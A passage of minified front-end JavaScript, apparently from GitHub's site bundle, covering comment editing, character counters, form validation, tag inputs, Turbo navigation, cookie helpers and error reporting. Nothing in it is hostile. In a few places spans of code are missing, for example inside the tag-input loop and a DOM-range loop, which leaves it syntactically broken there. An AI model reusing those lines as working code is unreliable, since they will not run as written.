f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new 